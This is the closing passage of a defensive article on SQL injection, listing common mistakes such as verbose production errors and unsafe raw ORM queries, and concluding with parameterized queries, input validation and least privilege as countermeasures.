Showing detailed database errors in production: Error messages reveal DB structure, version, and other information useful to attackers.
Believing the ORM solves everything: Raw query methods in ORMs ($queryRawUnsafe, query() with interpolation) are equally vulnerable.
Forgetting type validation: A field that should be an integer but accepts JSON objects is vulnerable to NoSQL injection.
Not testing security in CI/CD: SQLMap and other tools can be integrated into the pipeline to detect regressions.

Conclusions and Next Steps

SQL injection remains one of the most concrete and impactful threats to web applications in 2025. The good news is that the countermeasures are well-defined and relatively straightforward to implement: parameterized queries, input validation, and the principle of least privilege form an effective defensive triad against the vast majority of attacks.

The MOVEit, FlyCASS, and ResumeLooters cases demonstrate that the problem is not the technical complexity of the vulnerabilities, but the lack of security disciplines integrated into the development process. With the patterns illustrated in this article, you can systematically eliminate this class of vulnerability from your codebase.

The next article in the series covers secure authentication with sessions and cookies: another fundamental pillar of backend security. If you have questions or want to dig deeper into a specific scenario, leave a comment below.